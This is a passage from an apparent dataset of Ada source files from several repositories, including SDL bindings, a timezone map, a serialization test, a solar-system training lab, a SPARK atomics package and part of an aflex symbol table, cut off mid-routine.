Map_2_Key_129 : aliased constant String := "SGT"; Map_2_Key_130 : aliased constant String := "SLST"; Map_2_Key_131 : aliased constant String := "SRET"; Map_2_Key_132 : aliased constant String := "SRT"; Map_2_Key_133 : aliased constant String := "SYOT"; Map_2_Key_134 : aliased constant String := "TAHT"; Map_2_Key_135 : aliased constant String := "THA"; Map_2_Key_136 : aliased constant String := "TFT"; Map_2_Key_137 : aliased constant String := "TJT"; Map_2_Key_138 : aliased constant String := "TKT"; Map_2_Key_139 : aliased constant String := "TLT"; Map_2_Key_140 : aliased constant String := "TMT"; Map_2_Key_141 : aliased constant String := "TOT"; Map_2_Key_142 : aliased constant String := "TVT"; Map_2_Key_143 : aliased constant String := "UCT"; Map_2_Key_144 : aliased constant String := "ULAT"; Map_2_Key_145 : aliased constant String := "USZ1"; Map_2_Key_146 : aliased constant String := "UTC"; Map_2_Key_147 : aliased constant String := "UYST"; Map_2_Key_148 : aliased constant String := "UYT"; Map_2_Key_149 : aliased constant String := "UZT"; Map_2_Key_150 : aliased constant String := "VET"; Map_2_Key_151 : aliased constant String := "VLAT"; Map_2_Key_152 : aliased constant String := "VOLT"; Map_2_Key_153 : aliased constant String := "VOST"; Map_2_Key_154 : aliased constant String := "VUT"; Map_2_Key_155 : aliased constant String := "WAKT"; Map_2_Key_156 : aliased constant String := "WAST"; Map_2_Key_157 : aliased constant String := "WAT"; Map_2_Key_158 : aliased constant String := "WEDT"; Map_2_Key_159 : aliased constant String := "WEST"; Map_2_Key_160 : aliased constant String := "WET"; Map_2_Key_161 : aliased constant String := "WIT"; Map_2_Key_162 : aliased constant String := "WST"; Map_2_Key_163 : aliased constant String := "YAKT"; Map_2_Key_164 : aliased constant String := "YEKT"; Map_2_Key_165 : aliased constant String := "Z"; Map_2_Keys : constant array (0 .. 165) of access constant String := (Map_2_Key_0'Access, Map_2_Key_1'Access, Map_2_Key_2'Access, Map_2_Key_3'Access, Map_2_Key_4'Access, Map_2_Key_5'Access, Map_2_Key_6'Access, Map_2_Key_7'Access, Map_2_Key_8'Access, Map_2_Key_9'Access, Map_2_Key_10'Access, Map_2_Key_11'Access, Map_2_Key_12'Access, Map_2_Key_13'Access, Map_2_Key_14'Access, Map_2_Key_15'Access, Map_2_Key_16'Access, Map_2_Key_17'Access, Map_2_Key_18'Access, Map_2_Key_19'Access, Map_2_Key_20'Access, Map_2_Key_21'Access, Map_2_Key_22'Access, Map_2_Key_23'Access, Map_2_Key_24'Access, Map_2_Key_25'Access, Map_2_Key_26'Access, Map_2_Key_27'Access, Map_2_Key_28'Access, Map_2_Key_29'Access, Map_2_Key_30'Access, Map_2_Key_31'Access, Map_2_Key_32'Access, Map_2_Key_33'Access, Map_2_Key_34'Access, Map_2_Key_35'Access, Map_2_Key_36'Access, Map_2_Key_37'Access, Map_2_Key_38'Access, Map_2_Key_39'Access, Map_2_Key_40'Access, Map_2_Key_41'Access, Map_2_Key_42'Access, Map_2_Key_43'Access, Map_2_Key_44'Access, Map_2_Key_45'Access, Map_2_Key_46'Access, Map_2_Key_47'Access, Map_2_Key_48'Access, Map_2_Key_49'Access, Map_2_Key_50'Access, Map_2_Key_51'Access, Map_2_Key_52'Access, Map_2_Key_53'Access, Map_2_Key_54'Access, Map_2_Key_55'Access, Map_2_Key_56'Access, Map_2_Key_57'Access, Map_2_Key_58'Access, Map_2_Key_59'Access, Map_2_Key_60'Access, Map_2_Key_61'Access, Map_2_Key_62'Access, Map_2_Key_63'Access, Map_2_Key_64'Access, Map_2_Key_65'Access, Map_2_Key_66'Access, Map_2_Key_67'Access, Map_2_Key_68'Access, Map_2_Key_69'Access, Map_2_Key_70'Access, Map_2_Key_71'Access, Map_2_Key_72'Access, Map_2_Key_73'Access, Map_2_Key_74'Access, Map_2_Key_75'Access, Map_2_Key_76'Access, Map_2_Key_77'Access, Map_2_Key_78'Access, Map_2_Key_79'Access, Map_2_Key_80'Access, Map_2_Key_81'Access, Map_2_Key_82'Access, Map_2_Key_83'Access, Map_2_Key_84'Access, Map_2_Key_85'Access, Map_2_Key_86'Access, Map_2_Key_87'Access, Map_2_Key_88'Access, Map_2_Key_89'Access, Map_2_Key_90'Access, Map_2_Key_91'Access, Map_2_Key_92'Access, Map_2_Key_93'Access, Map_2_Key_94'Access, Map_2_Key_95'Access, Map_2_Key_96'Access, Map_2_Key_97'Access, Map_2_Key_98'Access, Map_2_Key_99'Access, Map_2_Key_100'Access, Map_2_Key_101'Access, Map_2_Key_102'Access, Map_2_Key_103'Access, Map_2_Key_104'Access, Map_2_Key_105'Access, Map_2_Key_106'Access, Map_2_Key_107'Access, Map_2_Key_108'Access, Map_2_Key_109'Access, Map_2_Key_110'Access, Map_2_Key_111'Access, Map_2_Key_112'Access, Map_2_Key_113'Access, Map_2_Key_114'Access, Map_2_Key_115'Access, Map_2_Key_116'Access, Map_2_Key_117'Access, Map_2_Key_118'Access, Map_2_Key_119'Access, Map_2_Key_120'Access, Map_2_Key_121'Access, Map_2_Key_122'Access, Map_2_Key_123'Access, Map_2_Key_124'Access, Map_2_Key_125'Access, Map_2_Key_126'Access, Map_2_Key_127'Access, Map_2_Key_128'Access, Map_2_Key_129'Access, Map_2_Key_130'Access, Map_2_Key_131'Access, Map_2_Key_132'Access, Map_2_Key_133'Access, Map_2_Key_134'Access, Map_2_Key_135'Access, Map_2_Key_136'Access, Map_2_Key_137'Access, Map_2_Key_138'Access, Map_2_Key_139'Access, Map_2_Key_140'Access, Map_2_Key_141'Access, Map_2_Key_142'Access, Map_2_Key_143'Access, Map_2_Key_144'Access, Map_2_Key_145'Access, Map_2_Key_146'Access, Map_2_Key_147'Access, Map_2_Key_148'Access, Map_2_Key_149'Access, Map_2_Key_150'Access, Map_2_Key_151'Access, Map_2_Key_152'Access, Map_2_Key_153'Access, Map_2_Key_154'Access, Map_2_Key_155'Access, Map_2_Key_156'Access, Map_2_Key_157'Access, Map_2_Key_158'Access, Map_2_Key_159'Access, Map_2_Key_160'Access, Map_2_Key_161'Access, Map_2_Key_162'Access, Map_2_Key_163'Access, Map_2_Key_164'Access, Map_2_Key_165'Access); Map_2_Elements : constant array (0 .. 165) of Integer := (+10 * 60 + 30, +09 * 60 + 30, -03 * 60, +11 * 60, +10 * 60, +04 * 60 + 30, -08 * 60, -09 * 60, -03 * 60, +09 * 60, +08 * 60, -01 * 60, +04 * 60, +08 * 60, +06 * 60, -12 * 60, -04 * 60, -02 * 60, -03 * 60, +06 * 60, +02 * 60, +06 * 60 + 30, +02 * 60, +02 * 60, +01 * 60, +13 * 60 + 45, +12 * 60 + 45, +08 * 60, +10 * 60, +10 * 60, -08 * 60, +08 * 60, -10 * 60, -03 * 60, -04 * 60, -04 * 60, -05 * 60, +08 * 60, -01 * 60, +08 * 60 + 45, +07 * 60, +07 * 60, +10 * 60, +01 * 60, -05 * 60, -06 * 60, +03 * 60, -04 * 60, +03 * 60, +03 * 60, +02 * 60, +00 * 60, -01 * 60, +09 * 60, +03 * 60, +12 * 60, -03 * 60, -04 * 60, -02 * 60, -06 * 60, -09 * 60, +04 * 60, -03 * 60, +12 * 60, -09 * 60, 0, -04 * 60, -09 * 60, +02 * 60, -10 * 60, +08 * 60, +05 * 60, +07 * 60, -10 * 60, +07 * 60, +03 * 60, +03 * 60, +04 * 60 + 30, +08 * 60, +03 * 60 + 30, +09 * 60, +06 * 60, +11 * 60, +07 * 60, +09 * 60, +14 * 60, +12 * 60, -09 * 60 + 30, +05 * 60, -06 * 60, +01 * 60, +02 * 60, +12 * 60, +11 * 60, -09 * 60 + 30, +06 * 60 + 30, +03 * 60, +04 * 60, +05 * 60, +08 * 60, +11 * 60, -02 * 60 + 30, +11 * 60 + 30, +05 * 60 + 45, -03 * 60 + 30, -03 * 60 + 30, -11 * 60, +13 * 60, +12 * 60, +06 * 60, +05 * 60, -07 * 60, -05 * 60, +12 * 60, +10 * 60, +13 * 60, +05 * 60, -02 * 60, -03 * 60, +11 * 60, -03 * 60, -04 * 60, +04 * 60, -03 * 60, +11 * 60, +04 * 60, +02 * 60, +11 * 60, +04 * 60, +08 * 60, +05 * 60 + 30, +11 * 60, -03 * 60, +03 * 60, -10 * 60, +07 * 60, +05 * 60, +05 * 60, +13 * 60, +09 * 60, +05 * 60, +13 * 60, +12 * 60, 0, +08 * 60, +02 * 60, 0, -02 * 60, -03 * 60, +05 * 60, -04 * 60 + 30, +10 * 60, +04 * 60, +06 * 60, +11 * 60, +12 * 60, +02 * 60, +01 * 60, +01 * 60, +01 * 60, 0, +07 * 60, +08 * 60, +09 * 60, +05 * 60, 0); end Natools.Static_Maps.S_Expressions.Templates.Dates;
sf17k/sdlada
Ada
2,051
ads
-------------------------------------------------------------------------------------------------------------------- -- Copyright (c) 2014 Luke A. Guest -- -- This software is provided 'as-is', without any express or implied -- warranty. In no event will the authors be held liable for any damages -- arising from the use of this software. -- -- Permission is granted to anyone to use this software for any purpose, -- including commercial applications, and to alter it and redistribute it -- freely, subject to the following restrictions: -- -- 1. The origin of this software must not be misrepresented; you must not -- claim that you wrote the original software. If you use this software -- in a product, an acknowledgment in the product documentation would be -- appreciated but is not required. -- -- 2. Altered source versions must be plainly marked as such, and must not be -- misrepresented as being the original software. -- -- 3. This notice may not be removed or altered from any source -- distribution. -------------------------------------------------------------------------------------------------------------------- -- SDL.Events.Files -------------------------------------------------------------------------------------------------------------------- with Interfaces.C.Strings; with System; package SDL.Events.Files is -- Drag and drop events. Drop_File : constant Event_Types := 16#0000_1000#; type Drop_Events is record Event_Type : Event_Types; -- Will be set to Drop_File. Time_Stamp : Time_Stamps; File_Name : Interfaces.C.Strings.chars_ptr; -- User *must* call Free on this. end record with Convention => C; private for Drop_Events use record Event_Type at 0 * SDL.Word range 0 .. 31; Time_Stamp at 1 * SDL.Word range 0 .. 31; File_Name at 2 * SDL.Word range 0 .. System.Word_Size - 1; -- This will depend on platform. end record; end SDL.Events.Files;
gerr135/gnat_bugs
Ada
1,073
ads
with Ada.Containers.Vectors; package wa2 is type Repr is private; type Abstract_Base is interface; function ToRepr(AB : Abstract_Base) return Repr is abstract; procedure FromRepr(AB : in out Abstract_Base; rp : Repr) is abstract; procedure Set_Smth (AB : in out Abstract_Base'Class; smth : Integer); ----------------------------------------------- type Base is new Abstract_Base with private; overriding function ToRepr(B : Base) return Repr; overriding procedure FromRepr(B : in out Base; R : Repr); private subtype Constrained_Index is Natural range 0 .. 1024; type Smth_Array is array (Positive range <>) of Integer; type Repr(Size : Constrained_Index := 0) is record smth : Integer; sa : Smth_Array(1..Size); end record; ---------------------------------------------------------------- package ACV is new Ada.Containers.Vectors(Positive, Integer); type Base is new Abstract_Base with record smth : Integer; sv : ACV.Vector; end record; end wa2;
io7m/coreland-serial_io
Ada
1,390
adb
with Ada.Streams.Stream_IO; with Serial_IO; with Test; procedure T_R64_01 is package Stream_IO renames Ada.Streams.Stream_IO; use type Serial_IO.Unsigned_64_t; Output : Stream_IO.File_Type; Input : Stream_IO.File_Type; type R_t is record A : Serial_IO.Unsigned_64_t; B : Serial_IO.Unsigned_64_t; C : Serial_IO.Unsigned_64_t; D : Serial_IO.Unsigned_64_t; E : Serial_IO.Unsigned_64_t; F : Serial_IO.Unsigned_64_t; G : Serial_IO.Unsigned_64_t; H : Serial_IO.Unsigned_64_t; I : Serial_IO.Unsigned_64_t; end record; R : R_t; S : R_t; begin Stream_IO.Create (Name => "t_r64_01.dat", Mode => Stream_IO.Out_File, File => Output); R.A := 16#ffff_ffff_ffff_ffff#; R.B := 16#7fff_ffff_ffff_ffff#; R.C := 16#0000_ffff_ffff_ffff#; R.D := 16#0000_7fff_ffff_ffff#; R.E := 16#0000_0000_ffff_ffff#; R.F := 16#0000_0000_7fff_ffff#; R.G := 16#0000_0000_0000_ffff#; R.H := 16#0000_0000_0000_7fff#; R.I := 16#0000_0000_0000_0000#; R_t'Output (Stream_IO.Stream (Output), R); pragma Warnings (Off); Stream_IO.Close (Output); pragma Warnings (On); Stream_IO.Open (Name => "t_r64_01.dat", Mode => Stream_IO.In_File, File => Input); S := R_t'Input (Stream_IO.Stream (Input)); Test.Assert (S = R); pragma Warnings (Off); Stream_IO.Close (Input); pragma Warnings (On); end T_R64_01;
AdaCore/gpr
Ada
80
adb
package body Pkg1 is procedure P is begin null; end P; end Pkg1;
onox/sdlada
Ada
3,797
adb
-------------------------------------------------------------------------------------------------------------------- -- Copyright (c) 2013-2018 Luke A. Guest -- -- This software is provided 'as-is', without any express or implied -- warranty. In no event will the authors be held liable for any damages -- arising from the use of this software. -- -- Permission is granted to anyone to use this software for any purpose, -- including commercial applications, and to alter it and redistribute it -- freely, subject to the following restrictions: -- -- 1. The origin of this software must not be misrepresented; you must not -- claim that you wrote the original software. If you use this software -- in a product, an acknowledgment in the product documentation would be -- appreciated but is not required. -- -- 2. Altered source versions must be plainly marked as such, and must not be -- misrepresented as being the original software. -- -- 3. This notice may not be removed or altered from any source -- distribution. -------------------------------------------------------------------------------------------------------------------- with Interfaces.C.Strings; package body SDL.Events.Keyboards is package C renames Interfaces.C; function Value (Name : in String) return SDL.Events.Keyboards.Scan_Codes is function SDL_Get_Scan_Code_From_Name (Name : in C.char_array) return SDL.Events.Keyboards.Scan_Codes with Import => True, Convention => C, External_Name => "SDL_GetScancodeFromName"; begin return SDL_Get_Scan_Code_From_Name (C.To_C (Name)); end Value; function Image (Scan_Code : in SDL.Events.Keyboards.Scan_Codes) return String is function SDL_Get_Scan_Code_Name (Scan_Code : in SDL.Events.Keyboards.Scan_Codes) return C.Strings.chars_ptr with Import => True, Convention => C, External_Name => "SDL_GetScancodeName"; begin return C.Strings.Value (SDL_Get_Scan_Code_Name (Scan_Code)); end Image; function Value (Name : in String) return SDL.Events.Keyboards.Key_Codes is function SDL_Get_Key_From_Name (Name : in C.char_array) return SDL.Events.Keyboards.Key_Codes with Import => True, Convention => C, External_Name => "SDL_GetKeyFromName"; begin return SDL_Get_Key_From_Name (C.To_C (Name)); end Value; function Image (Key_Code : in SDL.Events.Keyboards.Key_Codes) return String is function SDL_Get_Key_Name (Key_Code : in SDL.Events.Keyboards.Key_Codes) return C.Strings.chars_ptr with Import => True, Convention => C, External_Name => "SDL_GetKeyName"; begin return C.Strings.Value (SDL_Get_Key_Name (Key_Code)); end Image; function To_Key_Code (Scan_Code : in SDL.Events.Keyboards.Scan_Codes) return SDL.Events.Keyboards.Key_Codes is function SDL_Get_Key_From_Scan_Code (Scan_Code : in SDL.Events.Keyboards.Scan_Codes) return SDL.Events.Keyboards.Key_Codes with Import => True, Convention => C, External_Name => "SDL_GetKeyFromScancode"; begin return SDL_Get_Key_From_Scan_Code (Scan_Code); end To_Key_Code; function To_Scan_Code (Key_Code : in SDL.Events.Keyboards.Key_Codes) return SDL.Events.Keyboards.Scan_Codes is function SDL_Get_Scan_Code_From_Key (Key_Code : in SDL.Events.Keyboards.Key_Codes) return SDL.Events.Keyboards.Scan_Codes with Import => True, Convention => C, External_Name => "SDL_GetScancodeFromKey"; begin return SDL_Get_Scan_Code_From_Key (Key_Code); end To_Scan_Code; end SDL.Events.Keyboards;
reznikmm/matreshka
Ada
6,638
ads
------------------------------------------------------------------------------ -- -- -- Matreshka Project -- -- -- -- Web Framework -- -- -- -- Tools Component -- -- -- ------------------------------------------------------------------------------ -- -- -- Copyright © 2015-2018, Vadim Godunko <[email protected]> -- -- All rights reserved. -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions -- -- are met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in the -- -- documentation and/or other materials provided with the distribution. -- -- -- -- * Neither the name of the Vadim Godunko, IE nor the names of its -- -- contributors may be used to endorse or promote products derived from -- -- this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -- -- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -- -- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -- -- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -- -- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -- -- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- $Revision$ $Date$ ------------------------------------------------------------------------------ with Asis; with League.Strings; package Properties.Tools is function Get_Aspect (Element : Asis.Declaration; Name : Wide_String) return Wide_String; function Library_Level_Header (Unit : Asis.Compilation_Unit) return League.Strings.Universal_String; function Corresponding_Type_Subprograms (Definition : Asis.Definition) return Asis.Declaration_List; -- For given type definition return list of primitive subprograms function Corresponding_Type_Components (Definition : Asis.Definition) return Asis.Declaration_List; -- For given (non-array complex) type definition return list of component function Corresponding_Type_Discriminants (Definition : Asis.Definition) return Asis.Declaration_List; -- For given (non-array complex) type definition return list of discr-s. function Is_Primitive_Subprogram (Definition : Asis.Definition; Subprogram : Asis.Declaration) return Boolean; -- Check if given Subprogram is primitive subprograms for given type function Parameter_Profile (Prefix : Asis.Expression) return Asis.Parameter_Specification_List; -- For given prefix of procedure call return corresponding parameter -- declaration list function Corresponding_Type (Declaration : Asis.Declaration) return Asis.Declaration; -- Return type declaration for given primitive subprogram function Corresponding_Declaration (Name : Asis.Expression) return Asis.Declaration; -- Like Asis.Expressions.Corresponding_Name_Declaration, but takes -- selector of selected_component function Type_Declaration_View (Declaration : Asis.Declaration) return Asis.Definition; -- Like Asis.Declarations.Type_Declaration_View but expand derived types function Array_Component_Definition (Type_Definition : Asis.Type_Definition) return Asis.Component_Definition; -- Like Asis.Definitions.Array_Component_Definition, but takes into account -- implicit dereference. function Is_Equal_Type (Left : Asis.Declaration; Right : Asis.Declaration) return Boolean; function Is_Array (Exp : Asis.Expression) return Boolean; function Enclosing_Declaration (X : Asis.Element) return Asis.Declaration; function Has_Controlling_Result (Func : Asis.Declaration) return Boolean; -- Check if function Func is like 'function F return T' where T is tagged function Is_Array_Buffer (Element : Asis.Declaration) return Boolean; -- Check if given type declaration has corresponding pragma -- JavaScript_Array_Buffer function Join (Left, Right : League.Strings.Universal_String) return League.Strings.Universal_String; -- Return Left & Right function Comma (Left, Right : League.Strings.Universal_String) return League.Strings.Universal_String; -- Return Left & "," & Right function "or" (Left, Right : Boolean) return Boolean is (Standard."or" (Left, Right)); function Get_Dimension (Exp : Asis.Expression) return Natural; -- Return dimention of an array aggregate Exp. Return 0 if subaggregate function Attribute_Definition (Decl : Asis.Declaration; Attr : Wide_String) return Asis.Expression; -- find corresponding attribute declaration end Properties.Tools;
sparre/Command-Line-Parser-Generator
Ada
141
ads
package Good_Derived_Types_1 is type A is array (Positive range <>) of Character; procedure Run (Name : A); end Good_Derived_Types_1;
charlie5/aIDE
Ada
1,860
adb
with AdaM.Factory; package body AdaM.Declaration.of_renaming.a_generic is -- Storage Pool -- record_Version : constant := 1; pool_Size : constant := 5_000; package Pool is new AdaM.Factory.Pools (".adam-store", "Declarations.of_renaming.a_generic", pool_Size, record_Version, Declaration.of_renaming.a_generic.item, Declaration.of_renaming.a_generic.view); -- Forge -- procedure define (Self : in out Item) is begin null; end define; overriding procedure destruct (Self : in out Item) is begin null; end destruct; function new_Declaration return View is new_View : constant Declaration.of_renaming.a_generic.view := Pool.new_Item; begin define (Declaration.of_renaming.a_generic.item (new_View.all)); return new_View; end new_Declaration; procedure free (Self : in out Declaration.of_renaming.a_generic.view) is begin destruct (Declaration.of_renaming.a_generic.item (Self.all)); Pool.free (Self); end free; -- Attributes -- overriding function Id (Self : access Item) return AdaM.Id is begin return Pool.to_Id (Self); end Id; -- Streams -- procedure View_write (Stream : not null access Ada.Streams.Root_Stream_Type'Class; Self : in View) renames Pool.View_write; procedure View_read (Stream : not null access Ada.Streams.Root_Stream_Type'Class; Self : out View) renames Pool.View_read; end AdaM.Declaration.of_renaming.a_generic;
AdaCore/training_material
Ada
4,656
adb
----------------------------------------------------------------------- -- Ada Labs -- -- -- -- Copyright (C) 2008-2009, AdaCore -- -- -- -- Labs is free software; you can redistribute it and/or modify it -- -- under the terms of the GNU General Public License as published by -- -- the Free Software Foundation; either version 2 of the License, or -- -- (at your option) any later version. -- -- -- -- This program is distributed in the hope that it will be useful, -- -- but WITHOUT ANY WARRANTY; without even the implied warranty of -- -- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -- -- General Public License for more details. You should have received -- -- a copy of the GNU General Public License along with this program; -- -- if not, write to the Free Software Foundation, Inc., 59 Temple -- -- Place - Suite 330, Boston, MA 02111-1307, USA. -- ----------------------------------------------------------------------- with Ada.Real_Time; use Ada.Real_Time; with Solar_System; use Solar_System; with Display; use Display; with Display.Basic; use Display.Basic; with Solar_System.Graphics; use Solar_System.Graphics; procedure Main is -- declare variable Bodies which is an array of Body_T Bodies : Bodies_Array_T; -- declare a variable Now of type Time to record current time Now : Time; -- declare a constant Period of 40 milliseconds of type Time_Span defining the loop period Period : constant Time_Span := Milliseconds (40); -- reference to the application window Window : Window_ID; -- reference to the graphical canvas associated with the application window Canvas : Canvas_ID; begin -- Create the main window Window := Create_Window (Width => 240, Height => 320, Name => "Solar System"); -- retrieve the graphical canvas associated with the main window Canvas := Get_Canvas (Window); -- initialize Bodies using Init_Body procedure Init_Body (B => Sun, Bodies => Bodies, Radius => 20.0, Color => Yellow, Distance => 0.0, Angle => 0.0, Speed => 0.0, Turns_Around => Sun); Init_Body (B => Earth, Bodies => Bodies, Radius => 5.0, Color => Blue, Distance => 50.0, Angle => 0.0, Speed => 0.02, Turns_Around => Sun); Init_Body (B => Moon, Bodies => Bodies, Radius => 2.0, Color => Blue, Distance => 15.0, Angle => 0.0, Speed => 0.04, Turns_Around => Earth); Init_Body (B => Satellite, Bodies => Bodies, Radius => 1.0, Color => Red, Distance => 8.0, Angle => 0.0, Speed => 0.1, Turns_Around => Earth); Init_Body (B => Comet, Bodies => Bodies, Radius => 1.0, Color => Yellow, Distance => 80.0, Angle => 0.0, Speed => 0.05, Turns_Around => Sun); Init_Body (B => Black_Hole, Bodies => Bodies, Radius => 0.0, Color => Blue, Distance => 75.0, Angle => 0.0, Speed => -0.02, Turns_Around => Sun, Visible => False); Init_Body (B => Asteroid_1, Bodies => Bodies, Radius => 1.0, Color => Green, Distance => 5.0, Angle => 0.0, Speed => 0.1, Turns_Around => Black_Hole); Init_Body (B => Asteroid_2, Bodies => Bodies, Radius => 1.0, Color => Blue, Distance => 5.0, Angle => 3.14, Speed => 0.1, Turns_Around => Black_Hole); -- create an infinite loop -- update the Now time with current clock -- call Move_All procedure -- wait until Now + Period time elapsed before the next Now := Clock; loop Move_All (Bodies); Draw_All (Bodies, Canvas); Swap_Buffers (Window); delay until Now + Period; Now := Now + Period; end loop; end Main;
yannickmoy/atomic
Ada
6,483
ads
generic type T is range <>; package Atomic.Generic_Signed16 with Preelaborate, Spark_Mode => On is -- Based on GCC atomic built-ins. See: -- https://gcc.gnu.org/onlinedocs/gcc/_005f_005fatomic-Builtins.html -- -- The specification is exactly the same for all sizes of data (8, 16, 32, -- 64). type Instance is limited private; -- This type is limited and private, it can only be manipulated using the -- primitives below. function Init (Val : T) return Instance with Post => Value (Init'Result) = Val; -- Can be used to initialize an atomic instance: -- -- A : Atomic.Unsigned_8.Instance := Atomic.Unsigned_8.Init (0); function Value (This : Instance) return T with Ghost; -- Ghost function to get the value of an instance without needing it -- aliased. This function can be used in contracts for instance. -- This doesn't use the atomic built-ins. function Load (This : aliased Instance; Order : Mem_Order := Seq_Cst) return T with Pre => Order in Relaxed | Consume | Acquire | Seq_Cst, Post => Load'Result = Value (This); procedure Store (This : aliased in out Instance; Val : T; Order : Mem_Order := Seq_Cst) with Pre => Order in Relaxed | Release | Seq_Cst, Post => Value (This) = Val; procedure Exchange (This : aliased in out Instance; Val : T; Old : out T; Order : Mem_Order := Seq_Cst) with Pre => Order in Relaxed | Acquire | Release | Acq_Rel | Seq_Cst, Post => Old = Value (This)'Old and then Value (This) = Val; procedure Compare_Exchange (This : aliased in out Instance; Expected : T; Desired : T; Weak : Boolean; Success : out Boolean; Success_Order : Mem_Order := Seq_Cst; Failure_Order : Mem_Order := Seq_Cst) with Pre => Failure_Order in Relaxed | Consume | Acquire | Seq_Cst and then not Stronger (Failure_Order, Success_Order), Post => Success = (Value (This)'Old = Expected) and then (if Success then Value (This) = Desired); procedure Add (This : aliased in out Instance; Val : T; Order : Mem_Order := Seq_Cst) with Post => Value (This) = Value (This)'Old + Val; procedure Sub (This : aliased in out Instance; Val : T; Order : Mem_Order := Seq_Cst) with Post => Value (This) = Value (This)'Old - Val; procedure Add_Fetch (This : aliased in out Instance; Val : T; Result : out T; Order : Mem_Order := Seq_Cst) with Post => Result = (Value (This)'Old + Val) and then Value (This) = Result; procedure Sub_Fetch (This : aliased in out Instance; Val : T; Result : out T; Order : Mem_Order := Seq_Cst) with Post => Result = (Value (This)'Old - Val) and then Value (This) = Result; procedure Fetch_Add (This : aliased in out Instance; Val : T; Result : out T; Order : Mem_Order := Seq_Cst) with Post => Result = Value (This)'Old and Value (This) = (Value (This)'Old + Val); procedure Fetch_Sub (This : aliased in out Instance; Val : T; Result : out T; Order : Mem_Order := Seq_Cst) with Post => Result = Value (This)'Old and Value (This) = (Value (This)'Old - Val); -- NOT SPARK compatible -- function Exchange (This : aliased in out Instance; Val : T; Order : Mem_Order := Seq_Cst) return T with SPARK_Mode => Off, Post => Exchange'Result = Value (This)'Old and then Value (This) = Val; function Compare_Exchange (This : aliased in out Instance; Expected : T; Desired : T; Weak : Boolean; Success_Order : Mem_Order := Seq_Cst; Failure_Order : Mem_Order := Seq_Cst) return Boolean with SPARK_Mode => Off, Post => Compare_Exchange'Result = (Value (This)'Old = Expected) and then (if Compare_Exchange'Result then Value (This) = Desired); function Add_Fetch (This : aliased in out Instance; Val : T; Order : Mem_Order := Seq_Cst) return T with SPARK_Mode => Off, Post => Add_Fetch'Result = (Value (This)'Old + Val) and then Value (This) = Add_Fetch'Result; function Sub_Fetch (This : aliased in out Instance; Val : T; Order : Mem_Order := Seq_Cst) return T with SPARK_Mode => Off, Post => Sub_Fetch'Result = (Value (This)'Old - Val) and then Value (This) = Sub_Fetch'Result; function Fetch_Add (This : aliased in out Instance; Val : T; Order : Mem_Order := Seq_Cst) return T with SPARK_Mode => Off; function Fetch_Sub (This : aliased in out Instance; Val : T; Order : Mem_Order := Seq_Cst) return T with SPARK_Mode => Off; private type Instance is new T; ---------- -- Init -- ---------- function Init (Val : T) return Instance is (Instance (Val)); ----------- -- Value -- ----------- function Value (This : Instance) return T is (T (This)); pragma Inline (Init); pragma Inline (Load); pragma Inline (Store); pragma Inline (Exchange); pragma Inline (Compare_Exchange); pragma Inline (Add); pragma Inline (Sub); pragma Inline (Add_Fetch); pragma Inline (Sub_Fetch); pragma Inline (Fetch_Add); pragma Inline (Fetch_Sub); end Atomic.Generic_Signed16;
alvaromb/Compilemon
Ada
6,884
adb
-- Copyright (c) 1990 Regents of the University of California. -- All rights reserved. -- -- This software was developed by John Self of the Arcadia project -- at the University of California, Irvine. -- -- Redistribution and use in source and binary forms are permitted -- provided that the above copyright notice and this paragraph are -- duplicated in all such forms and that any documentation, -- advertising materials, and other materials related to such -- distribution and use acknowledge that the software was developed -- by the University of California, Irvine. The name of the -- University may not be used to endorse or promote products derived -- from this software without specific prior written permission. -- THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR -- IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED -- WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE. -- TITLE symbol table routines -- AUTHOR: John Self (UCI) -- DESCRIPTION implements only a simple symbol table using open hashing -- NOTES could be faster, but it isn't used much -- $Header: /co/ua/self/arcadia/aflex/ada/src/RCS/symB.a,v 1.6 90/01/12 15:20:39 self Exp Locker: self $ with misc_defs, misc, nfa, text_io, int_io, tstring; package body sym is use MISC_DEFS; use TSTRING; -- addsym - add symbol and definitions to symbol table -- -- true is returned if the symbol already exists, and the change not made. procedure ADDSYM(SYM, STR_DEF : in VSTRING; INT_DEF : in INTEGER; TABLE : in out HASH_TABLE; TABLE_SIZE : in INTEGER; RESULT : out BOOLEAN) is HASH_VAL : INTEGER := HASHFUNCT(SYM, TABLE_SIZE); SYM_ENTRY : HASH_LINK := TABLE(HASH_VAL); NEW_ENTRY, SUCCESSOR : HASH_LINK; begin while (SYM_ENTRY /= null) loop if (SYM = SYM_ENTRY.NAME) then -- entry already exists RESULT := TRUE; return; end if; SYM_ENTRY := SYM_ENTRY.NEXT; end loop; -- create new entry NEW_ENTRY := new HASH_ENTRY; SUCCESSOR := TABLE(HASH_VAL); if ((SUCCESSOR /= null)) then NEW_ENTRY.NEXT := SUCCESSOR; SUCCESSOR.PREV := NEW_ENTRY; else NEW_ENTRY.NEXT := null; end if; NEW_ENTRY.PREV := null; NEW_ENTRY.NAME := SYM; NEW_ENTRY.STR_VAL := 